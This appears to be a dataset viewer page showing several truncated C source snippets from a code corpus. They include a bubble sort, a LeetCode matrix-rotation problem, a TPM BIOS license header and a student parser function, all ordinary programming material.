the-stack-v2-dedup | C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* simple_print.c :+: :+: :+: ... | 1,327,695 |
the-stack-v2-dedup | C | //
// Created by Garven on 2018/7/14.
//
#include <stdio.h>
#define N 5
void bubbleSort ()
{
int i, j;
int temp;
int nums[N] = {16, 25, 9, 90, 23};
for (i = 0; i < N- 1; ++i)
{
for (j = 0; j < N - 1 - i; ++j)
{
if (nums[j] < nums[j + 1])
{
... | 1,327,696 |
the-stack-v2-dedup | C | /*48. 旋转图像
给定一个 n × n 的二维矩阵表示一个图像。
将图像顺时针旋转 90 度。
说明：
你必须在原地旋转图像，这意味着你需要直接修改输入的二维矩阵。请不要使用另一个矩阵来旋转图像。
示例 1:
给定 matrix =
[
[1,2,3],
[4,5,6],
[7,8,9]
],
原地旋转输入矩阵，使其变为:
[
[7,4,1],
[8,5,2],
[9,6,3]
]
示例 2:
给定 matrix =
[
[ 5, 1, 9,11],
[ 2, 4, 8,10],
[13, 3, 6, 7],
[... | 1,327,697 |
the-stack-v2-dedup | C | /*
* tpm_bios --
*
* Authors: Ken Goldman <kgoldman@us.ibm.com>
* Stefan Berger <stefanb@us.ibm.com>
*
* (c) Copyright IBM Corporation 2014.
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following co... | 1,327,698 |
the-stack-v2-dedup | C | /*
* Vladimir Tsoy & Jordan Harmel
* Nov. 11, 2012
*
* CS 470 : Project 3
*/
struct Node * build(struct Node *p, struct Node **temp) {
int token;
struct Node *n;
struct Node *temp2;
struct Node *temp1;
struct Node *last;
char *name;
token = getToken(&name);
if (token == OPENP) {
token = getToken(&name);
if (to... | 1,327,699 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.